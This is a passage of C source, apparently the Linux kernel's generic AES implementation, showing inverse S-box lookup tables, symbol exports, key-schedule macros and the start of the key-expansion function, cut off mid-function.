0x3c288b49, 0x0dff4195,\n\t\t0xa8397101, 0x0c08deb3, 0xb4d89ce4, 0x566490c1,\n\t\t0xcb7b6184, 0x32d570b6, 0x6c48745c, 0xb8d04257,\n\t}, {\n\t\t0x5150a7f4, 0x7e536541, 0x1ac3a417, 0x3a965e27,\n\t\t0x3bcb6bab, 0x1ff1459d, 0xacab58fa, 0x4b9303e3,\n\t\t0x2055fa30, 0xadf66d76, 0x889176cc, 0xf5254c02,\n\t\t0x4ffcd7e5, 0xc5d7cb2a, 0x26804435, 0xb58fa362,\n\t\t0xde495ab1, 0x25671bba, 0x45980eea, 0x5de1c0fe,\n\t\t0xc302752f, 0x8112f04c, 0x8da39746, 0x6bc6f9d3,\n\t\t0x03e75f8f, 0x15959c92, 0xbfeb7a6d, 0x95da5952,\n\t\t0xd42d83be, 0x58d32174, 0x492969e0, 0x8e44c8c9,\n\t\t0x756a89c2, 0xf478798e, 0x996b3e58, 0x27dd71b9,\n\t\t0xbeb64fe1, 0xf017ad88, 0xc966ac20, 0x7db43ace,\n\t\t0x63184adf, 0xe582311a, 0x97603351, 0x62457f53,\n\t\t0xb1e07764, 0xbb84ae6b, 0xfe1ca081, 0xf9942b08,\n\t\t0x70586848, 0x8f19fd45, 0x94876cde, 0x52b7f87b,\n\t\t0xab23d373, 0x72e2024b, 0xe3578f1f, 0x662aab55,\n\t\t0xb20728eb, 0x2f03c2b5, 0x869a7bc5, 0xd3a50837,\n\t\t0x30f28728, 0x23b2a5bf, 0x02ba6a03, 0xed5c8216,\n\t\t0x8a2b1ccf, 0xa792b479, 0xf3f0f207, 0x4ea1e269,\n\t\t0x65cdf4da, 0x06d5be05, 0xd11f6234, 0xc48afea6,\n\t\t0x349d532e, 0xa2a055f3, 0x0532e18a, 0xa475ebf6,\n\t\t0x0b39ec83, 0x40aaef60, 0x5e069f71, 0xbd51106e,\n\t\t0x3ef98a21, 0x963d06dd, 0xddae053e, 0x4d46bde6,\n\t\t0x91b58d54, 0x71055dc4, 0x046fd406, 0x60ff1550,\n\t\t0x1924fb98, 0xd697e9bd, 0x89cc4340, 0x67779ed9,\n\t\t0xb0bd42e8, 0x07888b89, 0xe7385b19, 0x79dbeec8,\n\t\t0xa1470a7c, 0x7ce90f42, 0xf8c91e84, 0x00000000,\n\t\t0x09838680, 0x3248ed2b, 0x1eac7011, 0x6c4e725a,\n\t\t0xfdfbff0e, 0x0f563885, 0x3d1ed5ae, 0x3627392d,\n\t\t0x0a64d90f, 0x6821a65c, 0x9bd1545b, 0x243a2e36,\n\t\t0x0cb1670a, 0x930fe757, 0xb4d296ee, 0x1b9e919b,\n\t\t0x804fc5c0, 0x61a220dc, 0x5a694b77, 0x1c161a12,\n\t\t0xe20aba93, 0xc0e52aa0, 0x3c43e022, 0x121d171b,\n\t\t0x0e0b0d09, 0xf2adc78b, 0x2db9a8b6, 0x14c8a91e,\n\t\t0x578519f1, 0xaf4c0775, 0xeebbdd99, 0xa3fd607f,\n\t\t0xf79f2601, 0x5cbcf572, 0x44c53b66, 0x5b347efb,\n\t\t0x8b762943, 0xcbdcc623, 0xb668fced, 0xb863f1e4,\n\t\t0xd7cadc31, 0x42108563, 0x13402297, 0x842011c6,\n\t\t0x857d244a, 0xd2f83dbb, 0xae1132f9, 0xc76da129,\n\t\t0x1d4b2f9e, 0xdcf330b2, 0x0dec5286, 0x77d0e3c1,\n\t\t0x2b6c16b3, 0xa999b970, 0x11fa4894, 0x472264e9,\n\t\t0xa8c48cfc, 0xa01a3ff0, 0x56d82c7d, 0x22ef9033,\n\t\t0x87c74e49, 0xd9c1d138, 0x8cfea2ca, 0x98360bd4,\n\t\t0xa6cf81f5, 0xa528de7a, 0xda268eb7, 0x3fa4bfad,\n\t\t0x2ce49d3a, 0x500d9278, 0x6a9bcc5f, 0x5462467e,\n\t\t0xf6c2138d, 0x90e8b8d8, 0x2e5ef739, 0x82f5afc3,\n\t\t0x9fbe805d, 0x697c93d0, 0x6fa92dd5, 0xcfb31225,\n\t\t0xc83b99ac, 0x10a77d18, 0xe86e639c, 0xdb7bbb3b,\n\t\t0xcd097826, 0x6ef41859, 0xec01b79a, 0x83a89a4f,\n\t\t0xe6656e95, 0xaa7ee6ff, 0x2108cfbc, 0xefe6e815,\n\t\t0xbad99be7, 0x4ace366f, 0xead4099f, 0x29d67cb0,\n\t\t0x31afb2a4, 0x2a31233f, 0xc63094a5, 0x35c066a2,\n\t\t0x7437bc4e, 0xfca6ca82, 0xe0b0d090, 0x3315d8a7,\n\t\t0xf14a9804, 0x41f7daec, 0x7f0e50cd, 0x172ff691,\n\t\t0x768dd64d, 0x434db0ef, 0xcc544daa, 0xe4df0496,\n\t\t0x9ee3b5d1, 0x4c1b886a, 0xc1b81f2c, 0x467f5165,\n\t\t0x9d04ea5e, 0x015d358c, 0xfa737487, 0xfb2e410b,\n\t\t0xb35a1d67, 0x9252d2db, 0xe9335610, 0x6d1347d6,\n\t\t0x9a8c61d7, 0x377a0ca1, 0x598e14f8, 0xeb893c13,\n\t\t0xceee27a9, 0xb735c961, 0xe1ede51c, 0x7a3cb147,\n\t\t0x9c59dfd2, 0x553f73f2, 0x1879ce14, 0x73bf37c7,\n\t\t0x53eacdf7, 0x5f5baafd, 0xdf146f3d, 0x7886db44,\n\t\t0xca81f3af, 0xb93ec468, 0x382c3424, 0xc25f40a3,\n\t\t0x1672c31d, 0xbc0c25e2, 0x288b493c, 0xff41950d,\n\t\t0x397101a8, 0x08deb30c, 0xd89ce4b4, 0x6490c156,\n\t\t0x7b6184cb, 0xd570b632, 0x48745c6c, 0xd04257b8,\n\t}\n};\n\nconst u32 crypto_il_tab[4][256] = {\n\t{\n\t\t0x00000052, 0x00000009, 0x0000006a, 0x000000d5,\n\t\t0x00000030, 0x00000036, 0x000000a5, 0x00000038,\n\t\t0x000000bf, 0x00000040, 0x000000a3, 0x0000009e,\n\t\t0x00000081, 0x000000f3, 0x000000d7, 0x000000fb,\n\t\t0x0000007c, 0x000000e3, 0x00000039, 0x00000082,\n\t\t0x0000009b, 0x0000002f, 0x000000ff, 0x00000087,\n\t\t0x00000034, 0x0000008e, 0x00000043, 0x00000044,\n\t\t0x000000c4, 0x000000de, 0x000000e9, 0x000000cb,\n\t\t0x00000054, 0x0000007b, 0x00000094, 0x00000032,\n\t\t0x000000a6, 0x000000c2, 0x00000023, 0x0000003d,\n\t\t0x000000ee, 0x0000004c, 0x00000095, 0x0000000b,\n\t\t0x00000042, 0x000000fa, 0x000000c3, 0x0000004e,\n\t\t0x00000008, 0x0000002e, 0x000000a1, 0x00000066,\n\t\t0x00000028, 0x000000d9, 0x00000024, 0x000000b2,\n\t\t0x00000076, 0x0000005b, 0x000000a2, 0x00000049,\n\t\t0x0000006d, 0x0000008b, 0x000000d1, 0x00000025,\n\t\t0x00000072, 0x000000f8, 0x000000f6, 0x00000064,\n\t\t0x00000086, 0x00000068, 0x00000098, 0x00000016,\n\t\t0x000000d4, 0x000000a4, 0x0000005c, 0x000000cc,\n\t\t0x0000005d, 0x00000065, 0x000000b6, 0x00000092,\n\t\t0x0000006c, 0x00000070, 0x00000048, 0x00000050,\n\t\t0x000000fd, 0x000000ed, 0x000000b9, 0x000000da,\n\t\t0x0000005e, 0x00000015, 0x00000046, 0x00000057,\n\t\t0x000000a7, 0x0000008d, 0x0000009d, 0x00000084,\n\t\t0x00000090, 0x000000d8, 0x000000ab, 0x00000000,\n\t\t0x0000008c, 0x000000bc, 0x000000d3, 0x0000000a,\n\t\t0x000000f7, 0x000000e4, 0x00000058, 0x00000005,\n\t\t0x000000b8, 0x000000b3, 0x00000045, 0x00000006,\n\t\t0x000000d0, 0x0000002c, 0x0000001e, 0x0000008f,\n\t\t0x000000ca, 0x0000003f, 0x0000000f, 0x00000002,\n\t\t0x000000c1, 0x000000af, 0x000000bd, 0x00000003,\n\t\t0x00000001, 0x00000013, 0x0000008a, 0x0000006b,\n\t\t0x0000003a, 0x00000091, 0x00000011, 0x00000041,\n\t\t0x0000004f, 0x00000067, 0x000000dc, 0x000000ea,\n\t\t0x00000097, 0x000000f2, 0x000000cf, 0x000000ce,\n\t\t0x000000f0, 0x000000b4, 0x000000e6, 0x00000073,\n\t\t0x00000096, 0x000000ac, 0x00000074, 0x00000022,\n\t\t0x000000e7, 0x000000ad, 0x00000035, 0x00000085,\n\t\t0x000000e2, 0x000000f9, 0x00000037, 0x000000e8,\n\t\t0x0000001c, 0x00000075, 0x000000df, 0x0000006e,\n\t\t0x00000047, 0x000000f1, 0x0000001a, 0x00000071,\n\t\t0x0000001d, 0x00000029, 0x000000c5, 0x00000089,\n\t\t0x0000006f, 0x000000b7, 0x00000062, 0x0000000e,\n\t\t0x000000aa, 0x00000018, 0x000000be, 0x0000001b,\n\t\t0x000000fc, 0x00000056, 0x0000003e, 0x0000004b,\n\t\t0x000000c6, 0x000000d2, 0x00000079, 0x00000020,\n\t\t0x0000009a, 0x000000db, 0x000000c0, 0x000000fe,\n\t\t0x00000078, 0x000000cd, 0x0000005a, 0x000000f4,\n\t\t0x0000001f, 0x000000dd, 0x000000a8, 0x00000033,\n\t\t0x00000088, 0x00000007, 0x000000c7, 0x00000031,\n\t\t0x000000b1, 0x00000012, 0x00000010, 0x00000059,\n\t\t0x00000027, 0x00000080, 0x000000ec, 0x0000005f,\n\t\t0x00000060, 0x00000051, 0x0000007f, 0x000000a9,\n\t\t0x00000019, 0x000000b5, 0x0000004a, 0x0000000d,\n\t\t0x0000002d, 0x000000e5, 0x0000007a, 0x0000009f,\n\t\t0x00000093, 0x000000c9, 0x0000009c, 0x000000ef,\n\t\t0x000000a0, 0x000000e0, 0x0000003b, 0x0000004d,\n\t\t0x000000ae, 0x0000002a, 0x000000f5, 0x000000b0,\n\t\t0x000000c8, 0x000000eb, 0x000000bb, 0x0000003c,\n\t\t0x00000083, 0x00000053, 0x00000099, 0x00000061,\n\t\t0x00000017, 0x0000002b, 0x00000004, 0x0000007e,\n\t\t0x000000ba, 0x00000077, 0x000000d6, 0x00000026,\n\t\t0x000000e1, 0x00000069, 0x00000014, 0x00000063,\n\t\t0x00000055, 0x00000021, 0x0000000c, 0x0000007d,\n\t}, {\n\t\t0x00005200, 0x00000900, 0x00006a00, 0x0000d500,\n\t\t0x00003000, 0x00003600, 0x0000a500, 0x00003800,\n\t\t0x0000bf00, 0x00004000, 0x0000a300, 0x00009e00,\n\t\t0x00008100, 0x0000f300, 0x0000d700, 0x0000fb00,\n\t\t0x00007c00, 0x0000e300, 0x00003900, 0x00008200,\n\t\t0x00009b00, 0x00002f00, 0x0000ff00, 0x00008700,\n\t\t0x00003400, 0x00008e00, 0x00004300, 0x00004400,\n\t\t0x0000c400, 0x0000de00, 0x0000e900, 0x0000cb00,\n\t\t0x00005400, 0x00007b00, 0x00009400, 0x00003200,\n\t\t0x0000a600, 0x0000c200, 0x00002300, 0x00003d00,\n\t\t0x0000ee00, 0x00004c00, 0x00009500, 0x00000b00,\n\t\t0x00004200, 0x0000fa00, 0x0000c300, 0x00004e00,\n\t\t0x00000800, 0x00002e00, 0x0000a100, 0x00006600,\n\t\t0x00002800, 0x0000d900, 0x00002400, 0x0000b200,\n\t\t0x00007600, 0x00005b00, 0x0000a200, 0x00004900,\n\t\t0x00006d00, 0x00008b00, 0x0000d100, 0x00002500,\n\t\t0x00007200, 0x0000f800, 0x0000f600, 0x00006400,\n\t\t0x00008600, 0x00006800, 0x00009800, 0x00001600,\n\t\t0x0000d400, 0x0000a400, 0x00005c00, 0x0000cc00,\n\t\t0x00005d00, 0x00006500, 0x0000b600, 0x00009200,\n\t\t0x00006c00, 0x00007000, 0x00004800, 0x00005000,\n\t\t0x0000fd00, 0x0000ed00, 0x0000b900, 0x0000da00,\n\t\t0x00005e00, 0x00001500, 0x00004600, 0x00005700,\n\t\t0x0000a700, 0x00008d00, 0x00009d00, 0x00008400,\n\t\t0x00009000, 0x0000d800, 0x0000ab00, 0x00000000,\n\t\t0x00008c00, 0x0000bc00, 0x0000d300, 0x00000a00,\n\t\t0x0000f700, 0x0000e400, 0x00005800, 0x00000500,\n\t\t0x0000b800, 0x0000b300, 0x00004500, 0x00000600,\n\t\t0x0000d000, 0x00002c00, 0x00001e00, 0x00008f00,\n\t\t0x0000ca00, 0x00003f00, 0x00000f00, 0x00000200,\n\t\t0x0000c100, 0x0000af00, 0x0000bd00, 0x00000300,\n\t\t0x00000100, 0x00001300, 0x00008a00, 0x00006b00,\n\t\t0x00003a00, 0x00009100, 0x00001100, 0x00004100,\n\t\t0x00004f00, 0x00006700, 0x0000dc00, 0x0000ea00,\n\t\t0x00009700, 0x0000f200, 0x0000cf00, 0x0000ce00,\n\t\t0x0000f000, 0x0000b400, 0x0000e600, 0x00007300,\n\t\t0x00009600, 0x0000ac00, 0x00007400, 0x00002200,\n\t\t0x0000e700, 0x0000ad00, 0x00003500, 0x00008500,\n\t\t0x0000e200, 0x0000f900, 0x00003700, 0x0000e800,\n\t\t0x00001c00, 0x00007500, 0x0000df00, 0x00006e00,\n\t\t0x00004700, 0x0000f100, 0x00001a00, 0x00007100,\n\t\t0x00001d00, 0x00002900, 0x0000c500, 0x00008900,\n\t\t0x00006f00, 0x0000b700, 0x00006200, 0x00000e00,\n\t\t0x0000aa00, 0x00001800, 0x0000be00, 0x00001b00,\n\t\t0x0000fc00, 0x00005600, 0x00003e00, 0x00004b00,\n\t\t0x0000c600, 0x0000d200, 0x00007900, 0x00002000,\n\t\t0x00009a00, 0x0000db00, 0x0000c000, 0x0000fe00,\n\t\t0x00007800, 0x0000cd00, 0x00005a00, 0x0000f400,\n\t\t0x00001f00, 0x0000dd00, 0x0000a800, 0x00003300,\n\t\t0x00008800, 0x00000700, 0x0000c700, 0x00003100,\n\t\t0x0000b100, 0x00001200, 0x00001000, 0x00005900,\n\t\t0x00002700, 0x00008000, 0x0000ec00, 0x00005f00,\n\t\t0x00006000, 0x00005100, 0x00007f00, 0x0000a900,\n\t\t0x00001900, 0x0000b500, 0x00004a00, 0x00000d00,\n\t\t0x00002d00, 0x0000e500, 0x00007a00, 0x00009f00,\n\t\t0x00009300, 0x0000c900, 0x00009c00, 0x0000ef00,\n\t\t0x0000a000, 0x0000e000, 0x00003b00, 0x00004d00,\n\t\t0x0000ae00, 0x00002a00, 0x0000f500, 0x0000b000,\n\t\t0x0000c800, 0x0000eb00, 0x0000bb00, 0x00003c00,\n\t\t0x00008300, 0x00005300, 0x00009900, 0x00006100,\n\t\t0x00001700, 0x00002b00, 0x00000400, 0x00007e00,\n\t\t0x0000ba00, 0x00007700, 0x0000d600, 0x00002600,\n\t\t0x0000e100, 0x00006900, 0x00001400, 0x00006300,\n\t\t0x00005500, 0x00002100, 0x00000c00, 0x00007d00,\n\t}, {\n\t\t0x00520000, 0x00090000, 0x006a0000, 0x00d50000,\n\t\t0x00300000, 0x00360000, 0x00a50000, 0x00380000,\n\t\t0x00bf0000, 0x00400000, 0x00a30000, 0x009e0000,\n\t\t0x00810000, 0x00f30000, 0x00d70000, 0x00fb0000,\n\t\t0x007c0000, 0x00e30000, 0x00390000, 0x00820000,\n\t\t0x009b0000, 0x002f0000, 0x00ff0000, 0x00870000,\n\t\t0x00340000, 0x008e0000, 0x00430000, 0x00440000,\n\t\t0x00c40000, 0x00de0000, 0x00e90000, 0x00cb0000,\n\t\t0x00540000, 0x007b0000, 0x00940000, 0x00320000,\n\t\t0x00a60000, 0x00c20000, 0x00230000, 0x003d0000,\n\t\t0x00ee0000, 0x004c0000, 0x00950000, 0x000b0000,\n\t\t0x00420000, 0x00fa0000, 0x00c30000, 0x004e0000,\n\t\t0x00080000, 0x002e0000, 0x00a10000, 0x00660000,\n\t\t0x00280000, 0x00d90000, 0x00240000, 0x00b20000,\n\t\t0x00760000, 0x005b0000, 0x00a20000, 0x00490000,\n\t\t0x006d0000, 0x008b0000, 0x00d10000, 0x00250000,\n\t\t0x00720000, 0x00f80000, 0x00f60000, 0x00640000,\n\t\t0x00860000, 0x00680000, 0x00980000, 0x00160000,\n\t\t0x00d40000, 0x00a40000, 0x005c0000, 0x00cc0000,\n\t\t0x005d0000, 0x00650000, 0x00b60000, 0x00920000,\n\t\t0x006c0000, 0x00700000, 0x00480000, 0x00500000,\n\t\t0x00fd0000, 0x00ed0000, 0x00b90000, 0x00da0000,\n\t\t0x005e0000, 0x00150000, 0x00460000, 0x00570000,\n\t\t0x00a70000, 0x008d0000, 0x009d0000, 0x00840000,\n\t\t0x00900000, 0x00d80000, 0x00ab0000, 0x00000000,\n\t\t0x008c0000, 0x00bc0000, 0x00d30000, 0x000a0000,\n\t\t0x00f70000, 0x00e40000, 0x00580000, 0x00050000,\n\t\t0x00b80000, 0x00b30000, 0x00450000, 0x00060000,\n\t\t0x00d00000, 0x002c0000, 0x001e0000, 0x008f0000,\n\t\t0x00ca0000, 0x003f0000, 0x000f0000, 0x00020000,\n\t\t0x00c10000, 0x00af0000, 0x00bd0000, 0x00030000,\n\t\t0x00010000, 0x00130000, 0x008a0000, 0x006b0000,\n\t\t0x003a0000, 0x00910000, 0x00110000, 0x00410000,\n\t\t0x004f0000, 0x00670000, 0x00dc0000, 0x00ea0000,\n\t\t0x00970000, 0x00f20000, 0x00cf0000, 0x00ce0000,\n\t\t0x00f00000, 0x00b40000, 0x00e60000, 0x00730000,\n\t\t0x00960000, 0x00ac0000, 0x00740000, 0x00220000,\n\t\t0x00e70000, 0x00ad0000, 0x00350000, 0x00850000,\n\t\t0x00e20000, 0x00f90000, 0x00370000, 0x00e80000,\n\t\t0x001c0000, 0x00750000, 0x00df0000, 0x006e0000,\n\t\t0x00470000, 0x00f10000, 0x001a0000, 0x00710000,\n\t\t0x001d0000, 0x00290000, 0x00c50000, 0x00890000,\n\t\t0x006f0000, 0x00b70000, 0x00620000, 0x000e0000,\n\t\t0x00aa0000, 0x00180000, 0x00be0000, 0x001b0000,\n\t\t0x00fc0000, 0x00560000, 0x003e0000, 0x004b0000,\n\t\t0x00c60000, 0x00d20000, 0x00790000, 0x00200000,\n\t\t0x009a0000, 0x00db0000, 0x00c00000, 0x00fe0000,\n\t\t0x00780000, 0x00cd0000, 0x005a0000, 0x00f40000,\n\t\t0x001f0000, 0x00dd0000, 0x00a80000, 0x00330000,\n\t\t0x00880000, 0x00070000, 0x00c70000, 0x00310000,\n\t\t0x00b10000, 0x00120000, 0x00100000, 0x00590000,\n\t\t0x00270000, 0x00800000, 0x00ec0000, 0x005f0000,\n\t\t0x00600000, 0x00510000, 0x007f0000, 0x00a90000,\n\t\t0x00190000, 0x00b50000, 0x004a0000, 0x000d0000,\n\t\t0x002d0000, 0x00e50000, 0x007a0000, 0x009f0000,\n\t\t0x00930000, 0x00c90000, 0x009c0000, 0x00ef0000,\n\t\t0x00a00000, 0x00e00000, 0x003b0000, 0x004d0000,\n\t\t0x00ae0000, 0x002a0000, 0x00f50000, 0x00b00000,\n\t\t0x00c80000, 0x00eb0000, 0x00bb0000, 0x003c0000,\n\t\t0x00830000, 0x00530000, 0x00990000, 0x00610000,\n\t\t0x00170000, 0x002b0000, 0x00040000, 0x007e0000,\n\t\t0x00ba0000, 0x00770000, 0x00d60000, 0x00260000,\n\t\t0x00e10000, 0x00690000, 0x00140000, 0x00630000,\n\t\t0x00550000, 0x00210000, 0x000c0000, 0x007d0000,\n\t}, {\n\t\t0x52000000, 0x09000000, 0x6a000000, 0xd5000000,\n\t\t0x30000000, 0x36000000, 0xa5000000, 0x38000000,\n\t\t0xbf000000, 0x40000000, 0xa3000000, 0x9e000000,\n\t\t0x81000000, 0xf3000000, 0xd7000000, 0xfb000000,\n\t\t0x7c000000, 0xe3000000, 0x39000000, 0x82000000,\n\t\t0x9b000000, 0x2f000000, 0xff000000, 0x87000000,\n\t\t0x34000000, 0x8e000000, 0x43000000, 0x44000000,\n\t\t0xc4000000, 0xde000000, 0xe9000000, 0xcb000000,\n\t\t0x54000000, 0x7b000000, 0x94000000, 0x32000000,\n\t\t0xa6000000, 0xc2000000, 0x23000000, 0x3d000000,\n\t\t0xee000000, 0x4c000000, 0x95000000, 0x0b000000,\n\t\t0x42000000, 0xfa000000, 0xc3000000, 0x4e000000,\n\t\t0x08000000, 0x2e000000, 0xa1000000, 0x66000000,\n\t\t0x28000000, 0xd9000000, 0x24000000, 0xb2000000,\n\t\t0x76000000, 0x5b000000, 0xa2000000, 0x49000000,\n\t\t0x6d000000, 0x8b000000, 0xd1000000, 0x25000000,\n\t\t0x72000000, 0xf8000000, 0xf6000000, 0x64000000,\n\t\t0x86000000, 0x68000000, 0x98000000, 0x16000000,\n\t\t0xd4000000, 0xa4000000, 0x5c000000, 0xcc000000,\n\t\t0x5d000000, 0x65000000, 0xb6000000, 0x92000000,\n\t\t0x6c000000, 0x70000000, 0x48000000, 0x50000000,\n\t\t0xfd000000, 0xed000000, 0xb9000000, 0xda000000,\n\t\t0x5e000000, 0x15000000, 0x46000000, 0x57000000,\n\t\t0xa7000000, 0x8d000000, 0x9d000000, 0x84000000,\n\t\t0x90000000, 0xd8000000, 0xab000000, 0x00000000,\n\t\t0x8c000000, 0xbc000000, 0xd3000000, 0x0a000000,\n\t\t0xf7000000, 0xe4000000, 0x58000000, 0x05000000,\n\t\t0xb8000000, 0xb3000000, 0x45000000, 0x06000000,\n\t\t0xd0000000, 0x2c000000, 0x1e000000, 0x8f000000,\n\t\t0xca000000, 0x3f000000, 0x0f000000, 0x02000000,\n\t\t0xc1000000, 0xaf000000, 0xbd000000, 0x03000000,\n\t\t0x01000000, 0x13000000, 0x8a000000, 0x6b000000,\n\t\t0x3a000000, 0x91000000, 0x11000000, 0x41000000,\n\t\t0x4f000000, 0x67000000, 0xdc000000, 0xea000000,\n\t\t0x97000000, 0xf2000000, 0xcf000000, 0xce000000,\n\t\t0xf0000000, 0xb4000000, 0xe6000000, 0x73000000,\n\t\t0x96000000, 0xac000000, 0x74000000, 0x22000000,\n\t\t0xe7000000, 0xad000000, 0x35000000, 0x85000000,\n\t\t0xe2000000, 0xf9000000, 0x37000000, 0xe8000000,\n\t\t0x1c000000, 0x75000000, 0xdf000000, 0x6e000000,\n\t\t0x47000000, 0xf1000000, 0x1a000000, 0x71000000,\n\t\t0x1d000000, 0x29000000, 0xc5000000, 0x89000000,\n\t\t0x6f000000, 0xb7000000, 0x62000000, 0x0e000000,\n\t\t0xaa000000, 0x18000000, 0xbe000000, 0x1b000000,\n\t\t0xfc000000, 0x56000000, 0x3e000000, 0x4b000000,\n\t\t0xc6000000, 0xd2000000, 0x79000000, 0x20000000,\n\t\t0x9a000000, 0xdb000000, 0xc0000000, 0xfe000000,\n\t\t0x78000000, 0xcd000000, 0x5a000000, 0xf4000000,\n\t\t0x1f000000, 0xdd000000, 0xa8000000, 0x33000000,\n\t\t0x88000000, 0x07000000, 0xc7000000, 0x31000000,\n\t\t0xb1000000, 0x12000000, 0x10000000, 0x59000000,\n\t\t0x27000000, 0x80000000, 0xec000000, 0x5f000000,\n\t\t0x60000000, 0x51000000, 0x7f000000, 0xa9000000,\n\t\t0x19000000, 0xb5000000, 0x4a000000, 0x0d000000,\n\t\t0x2d000000, 0xe5000000, 0x7a000000, 0x9f000000,\n\t\t0x93000000, 0xc9000000, 0x9c000000, 0xef000000,\n\t\t0xa0000000, 0xe0000000, 0x3b000000, 0x4d000000,\n\t\t0xae000000, 0x2a000000, 0xf5000000, 0xb0000000,\n\t\t0xc8000000, 0xeb000000, 0xbb000000, 0x3c000000,\n\t\t0x83000000, 0x53000000, 0x99000000, 0x61000000,\n\t\t0x17000000, 0x2b000000, 0x04000000, 0x7e000000,\n\t\t0xba000000, 0x77000000, 0xd6000000, 0x26000000,\n\t\t0xe1000000, 0x69000000, 0x14000000, 0x63000000,\n\t\t0x55000000, 0x21000000, 0x0c000000, 0x7d000000,\n\t}\n};\n\nEXPORT_SYMBOL_GPL(crypto_ft_tab);\nEXPORT_SYMBOL_GPL(crypto_fl_tab);\nEXPORT_SYMBOL_GPL(crypto_it_tab);\nEXPORT_SYMBOL_GPL(crypto_il_tab);\n\n/* initialise the key schedule from the user supplied key */\n\n#define star_x(x) (((x) & 0x7f7f7f7f) << 1) ^ ((((x) & 0x80808080) >> 7) * 0x1b)\n\n#define imix_col(y, x)\tdo {\t\t\\\n\tu\t= star_x(x);\t\t\\\n\tv\t= star_x(u);\t\t\\\n\tw\t= star_x(v);\t\t\\\n\tt\t= w ^ (x);\t\t\\\n\t(y)\t= u ^ v ^ w;\t\t\\\n\t(y)\t^= ror32(u ^ t, 8) ^\t\\\n\t\tror32(v ^ t, 16) ^\t\\\n\t\tror32(t, 24);\t\t\\\n} while (0)\n\n#define ls_box(x)\t\t\\\n\tcrypto_fl_tab[0][byte(x, 0)] ^\t\\\n\tcrypto_fl_tab[1][byte(x, 1)] ^\t\\\n\tcrypto_fl_tab[2][byte(x, 2)] ^\t\\\n\tcrypto_fl_tab[3][byte(x, 3)]\n\n#define loop4(i)\tdo {\t\t\\\n\tt = ror32(t, 8);\t\t\\\n\tt = ls_box(t) ^ rco_tab[i];\t\\\n\tt ^= ctx->key_enc[4 * i];\t\t\\\n\tctx->key_enc[4 * i + 4] = t;\t\t\\\n\tt ^= ctx->key_enc[4 * i + 1];\t\t\\\n\tctx->key_enc[4 * i + 5] = t;\t\t\\\n\tt ^= ctx->key_enc[4 * i + 2];\t\t\\\n\tctx->key_enc[4 * i + 6] = t;\t\t\\\n\tt ^= ctx->key_enc[4 * i + 3];\t\t\\\n\tctx->key_enc[4 * i + 7] = t;\t\t\\\n} while (0)\n\n#define loop6(i)\tdo {\t\t\\\n\tt = ror32(t, 8);\t\t\\\n\tt = ls_box(t) ^ rco_tab[i];\t\\\n\tt ^= ctx->key_enc[6 * i];\t\t\\\n\tctx->key_enc[6 * i + 6] = t;\t\t\\\n\tt ^= ctx->key_enc[6 * i + 1];\t\t\\\n\tctx->key_enc[6 * i + 7] = t;\t\t\\\n\tt ^= ctx->key_enc[6 * i + 2];\t\t\\\n\tctx->key_enc[6 * i + 8] = t;\t\t\\\n\tt ^= ctx->key_enc[6 * i + 3];\t\t\\\n\tctx->key_enc[6 * i + 9] = t;\t\t\\\n\tt ^= ctx->key_enc[6 * i + 4];\t\t\\\n\tctx->key_enc[6 * i + 10] = t;\t\t\\\n\tt ^= ctx->key_enc[6 * i + 5];\t\t\\\n\tctx->key_enc[6 * i + 11] = t;\t\t\\\n} while (0)\n\n#define loop8tophalf(i)\tdo {\t\t\t\\\n\tt = ror32(t, 8);\t\t\t\\\n\tt = ls_box(t) ^ rco_tab[i];\t\t\\\n\tt ^= ctx->key_enc[8 * i];\t\t\t\\\n\tctx->key_enc[8 * i + 8] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 1];\t\t\t\\\n\tctx->key_enc[8 * i + 9] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 2];\t\t\t\\\n\tctx->key_enc[8 * i + 10] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 3];\t\t\t\\\n\tctx->key_enc[8 * i + 11] = t;\t\t\t\\\n} while (0)\n\n#define loop8(i)\tdo {\t\t\t\t\\\n\tloop8tophalf(i);\t\t\t\t\\\n\tt = ctx->key_enc[8 * i + 4] ^ ls_box(t);\t\\\n\tctx->key_enc[8 * i + 12] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 5];\t\t\t\\\n\tctx->key_enc[8 * i + 13] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 6];\t\t\t\\\n\tctx->key_enc[8 * i + 14] = t;\t\t\t\\\n\tt ^= ctx->key_enc[8 * i + 7];\t\t\t\\\n\tctx->key_enc[8 * i + 15] = t;\t\t\t\\\n} while (0)\n\n/**\n * crypto_aes_expand_key - Expands the AES key as described in FIPS-197\n * @ctx:\tThe location where the computed key will be stored.\n * @in_key:\tThe supplied key.\n * @key_len:\tThe length of the supplied key.\n *\n * Returns 0 on success. The function fails only if an invalid key size (or\n * pointer) is supplied.\n * The expanded key size is 240 bytes (max of 14 rounds with a unique 16 bytes\n * key schedule plus a 16 bytes key which is used before the first round).\n * The decryption key is prepared for the \"Equivalent Inverse Cipher\" as\n * described in FIPS-197. The first slot (16 bytes) of each key (enc or dec) is\n * for the initial combination, the second slot for the first round and so on.\n */\nint crypto_aes_expand_key(struct crypto_aes_ctx *ctx, const u8 *in_key,\n\t\tunsigned int key_len)\n{\n\tconst __le32 *key = (const __le32 *)in_key;\n\tu32 i, t, u, v, w, j;\n\n\tif (key_len != AES_KEYSIZE_128 && key_len != AES_KEYSIZE_192 &&\n\t\t\tkey_len != AES_KEYSIZE_256)\n\t\treturn -EINVAL;\n\n\tctx->key_length = key_len;\n\n\tctx->key_dec[key_len + 24] = ctx->key_enc[0] = le32_to_cpu(key[0]);\n\tctx->key_dec[key_len + 25] = ctx->key_enc[1] = le32_to_cpu(key[1]);\n\tctx->key_dec[key_len + 26] = ctx->key_enc[2] = le32_to_cpu(key[2]);\n\tctx->key_dec[key_len + 27] = ctx->key_enc[3] = le32_to_cpu(key[3]);\n\n\tswitch (key_len) {\n\tcase AES_KEYSIZE_128:\n\t\tt = ctx->key_enc[3];\n\t\tfor (i = 0; i < 10; ++i)\n\t\t\tloop4(i);\n\t\tbreak;\n\n\tcase AES_KEYSIZE_192:\n\t\tctx->key_enc[4] = le32_to_cpu(key[4]);\n\t\tt = ctx->key_enc[5] = le32_to_cpu(key[5]);\n\t\tfor (i = 0; i < 8; ++i)\n\t\t\tloop6(i);\n\t\tbreak;\n\n\tcase AES_KEYSIZE_256:\n\t\tctx->key_enc[4] = le32_to_cpu(key[4]);\n\t\tctx->key_enc[5] = le32_to_cpu(key[5]);\n\t\tctx->key_enc[6] = 